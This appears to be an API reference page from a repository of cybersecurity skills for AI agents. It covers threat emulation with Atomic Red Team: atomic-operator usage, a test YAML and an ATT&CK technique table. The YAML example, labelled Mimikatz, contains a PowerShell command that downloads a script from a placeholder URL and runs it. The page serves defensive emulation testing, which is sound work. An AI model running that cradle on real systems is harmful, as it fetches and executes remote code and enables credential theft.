Skip to content

817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0

1.7 KB
Raw Blame

API Reference: Performing Threat Emulation with Atomic Red Team

atomic-operator (Python)

from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run specific technique
operator.run(
    technique="T1059.001",
    atomics_path="./atomic-red-team/atomics",
    test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})

Atomic Test YAML Format

attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
  - name: "Mimikatz"
    description: "Downloads and runs mimikatz"
    supported_platforms: [windows]
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{url}')
      cleanup_command: |
        Remove-Item #{output_file}
    input_arguments:
      url:
        description: "URL to download"
        type: url
        default: "https://example.com/test"

Key CLI Commands

# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team

# Install operator
pip install atomic-operator

# List tests for technique
ls atomic-red-team/atomics/T1059.001/

Coverage Mapping

Tactic Example Techniques
Execution T1059.001 (PowerShell), T1059.003 (cmd)
Persistence T1053.005 (Scheduled Task), T1547.001 (Run Keys)
Defense Evasion T1070.001 (Clear Event Logs)
Credential Access T1003.001 (LSASS), T1558.003 (Kerberoasting)

References